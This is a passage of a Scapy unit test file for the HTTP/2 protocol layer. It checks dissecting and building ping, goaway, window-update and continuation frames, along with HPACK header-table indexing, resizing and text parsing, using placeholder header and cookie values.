h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) ) ], padding=b'\x00'*8 ) assert(raw(p) == b'\x00\x00\x1e\x05\x0c\x00\x00\x00\x01\x08\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me\x00\x00\x00\x00\x00\x00\x00\x00') + HTTP/2 Ping Frame Test Suite = HTTP/2 Dissect Ping Frame: Ping frame ~ http2 frame dissect ping pkt = h2.H2Frame(b'\x00\x00\x08\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') #Ping frame with payload assert(pkt.type == 6) assert(pkt.len == 8) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 0) assert(isinstance(pkt.payload, h2.H2PingFrame)) assert(pkt[h2.H2PingFrame]) pf = pkt[h2.H2PingFrame] assert(pf.opaque == 123456) assert(isinstance(pf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Ping Frame: Ping frame ~ http2 frame build ping p = h2.H2Frame()/h2.H2PingFrame(opaque=123456) assert(raw(p) == b'\x00\x00\x08\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') = HTTP/2 Dissect Ping Frame: Pong frame ~ http2 frame dissect ping pkt = h2.H2Frame(b'\x00\x00\x08\x06\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') #Pong frame assert(pkt.type == 6) assert(pkt.len == 8) assert(len(pkt.flags) == 1) assert('A' in pkt.flags) assert(pkt.reserved == 0) assert(pkt.stream_id == 0) assert(isinstance(pkt.payload, h2.H2PingFrame)) assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) assert(pkt[h2.H2PingFrame]) pf = pkt[h2.H2PingFrame] assert(pf.opaque == 123456) assert(isinstance(pf.payload, scapy.packet.NoPayload)) = HTTP/2 Dissect Ping Frame: Pong frame ~ http2 frame dissect ping p = h2.H2Frame(flags={'A'})/h2.H2PingFrame(opaque=123456) assert(raw(p) == b'\x00\x00\x08\x06\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') + HTTP/2 Go Away Frame Test Suite = HTTP/2 Dissect Go Away Frame: No error ~ http2 frame dissect goaway pkt = h2.H2Frame(b'\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00') #Go Away for no particular reason :) assert(pkt.type == 7) assert(pkt.len == 8) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 0) assert(isinstance(pkt.payload, h2.H2GoAwayFrame)) assert(pkt[h2.H2GoAwayFrame]) gf = pkt[h2.H2GoAwayFrame] assert(gf.reserved == 0) assert(gf.last_stream_id == 1) assert(gf.error == 0) assert(len(gf.additional_data) == 0) assert(isinstance(gf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Go Away Frame: No error ~ http2 frame build goaway p = h2.H2Frame()/h2.H2GoAwayFrame(last_stream_id=1, error='No error') assert(raw(p) == b'\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00') = HTTP/2 Dissect Go Away Frame: Arbitrary error with additional data ~ http2 frame dissect goaway pkt = h2.H2Frame(b'\x00\x00\x10\x07\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xe2@\x00\x00\x00\x00\x00\x00\x00\x00') #Go Away with debug data assert(pkt.type == 7) assert(pkt.len == 16) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 0) assert(isinstance(pkt.payload, h2.H2GoAwayFrame)) assert(pkt[h2.H2GoAwayFrame]) gf = pkt[h2.H2GoAwayFrame] assert(gf.reserved == 0) assert(gf.last_stream_id == 2) assert(gf.error == 123456) assert(gf.additional_data == 8*b'\x00') assert(isinstance(gf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Go Away Frame: Arbitrary error with additional data ~ http2 frame build goaway p = h2.H2Frame()/h2.H2GoAwayFrame( last_stream_id=2, error=123456, additional_data=b'\x00'*8 ) assert(raw(p) == b'\x00\x00\x10\x07\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xe2@\x00\x00\x00\x00\x00\x00\x00\x00') + HTTP/2 Window Update Frame Test Suite = HTTP/2 Dissect Window Update Frame: global ~ http2 frame dissect winupdate pkt = h2.H2Frame(b'\x00\x00\x04\x08\x00\x00\x00\x00\x00\x00\x01\xe2@') #Window update with increment for connection assert(pkt.type == 8) assert(pkt.len == 4) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 0) assert(isinstance(pkt.payload, h2.H2WindowUpdateFrame)) assert(pkt[h2.H2WindowUpdateFrame]) wf = pkt[h2.H2WindowUpdateFrame] assert(wf.reserved == 0) assert(wf.win_size_incr == 123456) assert(isinstance(wf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Window Update Frame: global ~ http2 frame build winupdate p = h2.H2Frame()/h2.H2WindowUpdateFrame(win_size_incr=123456) assert(raw(p) == b'\x00\x00\x04\x08\x00\x00\x00\x00\x00\x00\x01\xe2@') = HTTP/2 Dissect Window Update Frame: a stream ~ http2 frame dissect winupdate pkt = h2.H2Frame(b'\x00\x00\x04\x08\x00\x00\x00\x00\x01\x00\x01\xe2@') #Window update with increment for a stream assert(pkt.type == 8) assert(pkt.len == 4) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2WindowUpdateFrame)) assert(pkt[h2.H2WindowUpdateFrame]) wf = pkt[h2.H2WindowUpdateFrame] assert(wf.reserved == 0) assert(wf.win_size_incr == 123456) assert(isinstance(wf.payload, scapy.packet.NoPayload)) = HTTP/2 Build Window Update Frame: a stream ~ http2 frame build winupdate p = h2.H2Frame(stream_id=1)/h2.H2WindowUpdateFrame(win_size_incr=123456) assert(raw(p) == b'\x00\x00\x04\x08\x00\x00\x00\x00\x01\x00\x01\xe2@') + HTTP/2 Continuation Frame Test Suite = HTTP/2 Dissect Continuation Frame: no flag & headers with compression and hdr_name ~ http2 frame dissect continuation pkt = h2.H2Frame(b'\x00\x00\x11\t\x00\x00\x00\x00\x01@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') assert(pkt.type == 9) assert(pkt.len == 17) assert(len(pkt.flags) == 0) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(isinstance(pkt.payload, h2.H2ContinuationFrame)) assert(pkt[h2.H2ContinuationFrame]) hf = pkt[h2.H2ContinuationFrame] assert(len(hf.hdrs) == 1) assert(isinstance(hf.payload, scapy.packet.NoPayload)) hdr = hf.hdrs[0] assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) assert(hdr.magic == 1) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.type == 1) assert(hdr.hdr_name.len == 12) assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.type == 0) assert(hdr.hdr_value.len == 2) assert(hdr.hdr_value.getfieldval('data').origin() == 'Me') = HTTP/2 Build Continuation Frame: no flag & headers with compression and hdr_name ~ http2 frame build continuation p = h2.H2Frame(stream_id=1)/h2.H2ContinuationFrame( hdrs=[ h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) ) ] ) assert(raw(p) == b'\x00\x00\x11\t\x00\x00\x00\x00\x01@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') = HTTP/2 Dissect Continuation Frame: flag END_Header & headers with compression, sensitive flag and hdr_name ~ http2 frame dissect continuation pkt = h2.H2Frame(b'\x00\x00\x11\t\x04\x00\x00\x00\x01\x10\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') assert(pkt.type == 9) assert(pkt.len == 17) assert(len(pkt.flags) == 1) assert('EH' in pkt.flags) assert(pkt.reserved == 0) assert(pkt.stream_id == 1) assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) assert(isinstance(pkt.payload, h2.H2ContinuationFrame)) assert(pkt[h2.H2ContinuationFrame]) hf = pkt[h2.H2ContinuationFrame] assert(len(hf.hdrs) == 1) assert(isinstance(hf.payload, scapy.packet.NoPayload)) hdr = hf.hdrs[0] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 1) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.type == 1) assert(hdr.hdr_name.len == 12) assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.type == 0) assert(hdr.hdr_value.len == 2) assert(hdr.hdr_value.getfieldval('data').origin() == 'Me') = HTTP/2 Build Continuation Frame: flag END_Header & headers with compression, sensitive flag and hdr_name ~ http2 frame build continuation p = h2.H2Frame(flags={'EH'}, stream_id=1)/h2.H2ContinuationFrame( hdrs=[ h2.HPackLitHdrFldWithoutIndexing( never_index=1, hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) ) ] ) assert(raw(p) == b'\x00\x00\x11\t\x04\x00\x00\x00\x01\x10\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') + HTTP/2 HPackHdrTable Test Suite = HTTP/2 HPackHdrEntry Tests ~ http2 hpack hpackhdrtable n = 'X-Requested-With' v = 'Me' h = h2.HPackHdrEntry(n, v) assert(len(h) == 32 + len(n) + len(v)) assert(h.name() == n.lower()) assert(h.value() == v) assert(str(h) == '{}: {}'.format(n.lower(), v)) n = ':status' v = '200' h = h2.HPackHdrEntry(n, v) assert(len(h) == 32 + len(n) + len(v)) assert(h.name() == n.lower()) assert(h.value() == v) assert(str(h) == '{} {}'.format(n.lower(), v)) = HTTP/2 HPackHdrTable : Querying Static Entries ~ http2 hpack hpackhdrtable # In RFC7541, the table is 1-based assert(expect_exception(KeyError, 'h2.HPackHdrTable()[0]')) h = h2.HPackHdrTable() assert(h[1].name() == ':authority') assert(h[7].name() == ':scheme') assert(h[7].value() == 'https') assert(str(h[14]) == ':status 500') assert(str(h[16]) == 'accept-encoding: gzip, deflate') assert(expect_exception(KeyError, 'h2.HPackHdrTable()[h2.HPackHdrTable._static_entries_last_idx+1]')) = HTTP/2 HPackHdrTable : Addind Dynamic Entries without overflowing the table ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString('PHPSESSID=abcdef0123456789')) ) tbl.register(hdr) tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString('JSESSID=abcdef0123456789')) ) tbl.register([hdr,hdr2]) tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) hdr3 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString('Test=abcdef0123456789')) ) frm = h2.H2Frame(stream_id=1)/h2.H2HeadersFrame(hdrs=[hdr, hdr2, hdr3]) tbl.register(frm) = HTTP/2 HPackHdrTable : Querying Dynamic Entries ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) hdrv = 'PHPSESSID=abcdef0123456789' hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) ) tbl.register(hdr) hdrv2 = 'JSESSID=abcdef0123456789' hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) ) tbl.register(hdr2) hdr3 = h2.HPackLitHdrFldWithIncrIndexing( index=0, hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('x-requested-by')), hdr_value=h2.HPackHdrString(data=h2.HPackZString('me')) ) tbl.register(hdr3) assert(tbl.get_idx_by_name('x-requested-by') == h2.HPackHdrTable._static_entries_last_idx+1) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv2) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+3].value() == hdrv) = HTTP/2 HPackHdrTable : Addind already registered Dynamic Entries without overflowing the table ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) assert(len(tbl) == 0) hdrv = 'PHPSESSID=abcdef0123456789' hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) ) tbl.register(hdr) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv) hdr2v = 'JSESSID=abcdef0123456789' hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdr2v)) ) tbl.register(hdr2) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdr2v) l = len(tbl) tbl.register(hdr) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdr2v) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+3].value() == hdrv) = HTTP/2 HPackHdrTable : Addind Dynamic Entries and overflowing the table ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable(dynamic_table_max_size=80, dynamic_table_cap_size=80) hdrv = 'PHPSESSID=abcdef0123456789' hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) ) tbl.register(hdr) assert(len(tbl) <= 80) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv) hdrv2 = 'JSESSID=abcdef0123456789' hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) ) tbl.register(hdr2) assert(len(tbl) <= 80) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) try: tbl[h2.HPackHdrTable._static_entries_last_idx+2] ret = False except Exception: ret = True assert(ret) = HTTP/2 HPackHdrTable : Resizing ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable() hdrv = 'PHPSESSID=abcdef0123456789' hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) ) tbl.register(hdr) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv) hdrv2 = 'JSESSID=abcdef0123456789' hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) ) tbl.register(hdr2) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) #Resizing to a value higher than cap (default:4096) try: tbl.resize(8192) ret = False except AssertionError: ret = True assert(ret) #Resizing to a lower value by that is not small enough to cause eviction tbl.resize(1024) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) #Resizing to a higher value but thatt is lower than cap tbl.resize(2048) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) #Resizing to a lower value that causes eviction tbl.resize(80) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) try: tbl[h2.HPackHdrTable._static_entries_last_idx+2] ret = False except Exception: ret = True assert(ret) = HTTP/2 HPackHdrTable : Recapping ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable() hdrv = 'PHPSESSID=abcdef0123456789' hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) ) tbl.register(hdr) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv) hdrv2 = 'JSESSID=abcdef0123456789' hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) ) tbl.register(hdr2) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) #Recapping to a higher value tbl.recap(8192) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) #Recapping to a low value but without causing eviction tbl.recap(1024) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) #Recapping to a low value that causes evictiontbl.recap(1024) tbl.recap(80) assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) try: tbl[h2.HPackHdrTable._static_entries_last_idx+2] ret = False except Exception: ret = True assert(ret) = HTTP/2 HPackHdrTable : Generating Textual Representation ~ http2 hpack hpackhdrtable helpers h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) hdrs_lst = [ h2.HPackIndexedHdr(index=2), #Method Get h2.HPackLitHdrFldWithIncrIndexing( index=h.get_idx_by_name(':path'), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('/index.php')) ), h2.HPackIndexedHdr(index=7), #Scheme HTTPS h2.HPackIndexedHdr(index=h2.HPackHdrTable._static_entries_last_idx+2), h2.HPackLitHdrFldWithIncrIndexing( index=58, hdr_value=h2.HPackHdrString(data=h2.HPackZString('Mozilla/5.0 Generated by hand')) ), h2.HPackLitHdrFldWithoutIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generated-By')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) ) ] p = h2.H2Frame(stream_id = 1)/h2.H2HeadersFrame(hdrs=hdrs_lst) expected_output = ''':method GET :path /index.php :scheme https x-generation-date: 2016-08-11 user-agent: Mozilla/5.0 Generated by hand X-Generated-By: Me''' assert(h.gen_txt_repr(p) == expected_output) = HTTP/2 HPackHdrTable : Parsing Textual Representation ~ http2 hpack hpackhdrtable helpers body = b'login=titi&passwd=toto' hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 x-generation-software: scapy '''.format(len(body)).encode() h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) seq = h.parse_txt_hdrs( hdrs, stream_id=1, body=body, should_index=lambda name: name in ['user-agent', 'x-generation-software'], is_sensitive=lambda name, value: name in ['x-generated-by', ':path'] ) assert(isinstance(seq, h2.H2Seq)) assert(len(seq.frames) == 2) p = seq.frames[0] assert(isinstance(p, h2.H2Frame)) assert(p.type == 1) assert(len(p.flags) == 1) assert('EH' in p.flags) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2HeadersFrame)) hdrs_frm = p[h2.H2HeadersFrame] assert(len(p.hdrs) == 9) hdr = p.hdrs[0] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 3) hdr = p.hdrs[1] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 1) assert(hdr.index in [4, 5]) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(/login.php)') hdr = p.hdrs[2] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 7) hdr = p.hdrs[3] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 31) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)') hdr = p.hdrs[4] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 28) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(22)') hdr = p.hdrs[5] assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) assert(hdr.magic == 1) assert(hdr.index == 58) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') hdr = p.hdrs[6] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 1) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') hdr = p.hdrs[7] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 63) hdr = p.hdrs[8] assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) assert(hdr.magic == 1) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-generation-software)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(scapy)') p = seq.frames[1] assert(isinstance(p, h2.H2Frame)) assert(p.type == 0) assert(len(p.flags) == 1) assert('ES' in p.flags) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2DataFrame)) pay = p[h2.H2DataFrame] assert(pay.data == body) = HTTP/2 HPackHdrTable : Parsing Textual Representation without body ~ http2 hpack hpackhdrtable helpers hdrs = b''':method POST :path /login.php :scheme https user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 ''' h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) # Without body seq = h.parse_txt_hdrs(hdrs, stream_id=1) assert(isinstance(seq, h2.H2Seq)) #This is the first major difference with the first test assert(len(seq.frames) == 1) p = seq.frames[0] assert(isinstance(p, h2.H2Frame)) assert(p.type == 1) assert(len(p.flags) == 2) assert('EH' in p.flags) #This is the second major difference with the first test assert('ES' in p.flags) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2HeadersFrame)) hdrs_frm = p[h2.H2HeadersFrame] assert(len(p.hdrs) == 6) hdr = p.hdrs[0] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 3) hdr = p.hdrs[1] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index in [4, 5]) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(/login.php)') hdr = p.hdrs[2] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 7) hdr = p.hdrs[3] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 58) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') hdr = p.hdrs[4] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') hdr = p.hdrs[5] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 62) = HTTP/2 HPackHdrTable : Parsing Textual Representation with too small max frame ~ http2 hpack hpackhdrtable helpers body = b'login=titi&passwd=toto' hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 x-long-header: {} '''.format(len(body), 'a'*5000).encode() h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) #x-long-header is too long to fit in any frames (whose default max size is 4096) expect_exception(Exception, "seq = h.parse_txt_hdrs('''{}''', stream_id=1".format(hdrs)) = HTTP/2 HPackHdrTable : Parsing Textual Representation with very large header and a large authorized frame size ~ http2 hpack hpackhdrtable helpers body = b'login=titi&passwd=toto' hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 x-long-header: {} '''.format(len(body), 'a'*5000).encode() h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) # Now trying to parse it with a max frame size large enough for x-long-header to # fit in a frame seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192) assert(isinstance(seq, h2.H2Seq)) assert(len(seq.frames) == 1) p = seq.frames[0] assert(isinstance(p, h2.H2Frame)) assert(p.type == 1) assert(len(p.flags) == 2) assert('EH' in p.flags) assert('ES' in p.flags) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2HeadersFrame)) hdrs_frm = p[h2.H2HeadersFrame] assert(len(p.hdrs) == 9) hdr = p.hdrs[0] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 3) hdr = p.hdrs[1] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index in [4, 5]) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(/login.php)') hdr = p.hdrs[2] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 7) hdr = p.hdrs[3] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 31) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)') hdr = p.hdrs[4] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 28) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(22)') hdr = p.hdrs[5] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 58) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') hdr = p.hdrs[6] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') hdr = p.hdrs[7] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 62) hdr = p.hdrs[8] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-long-header)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 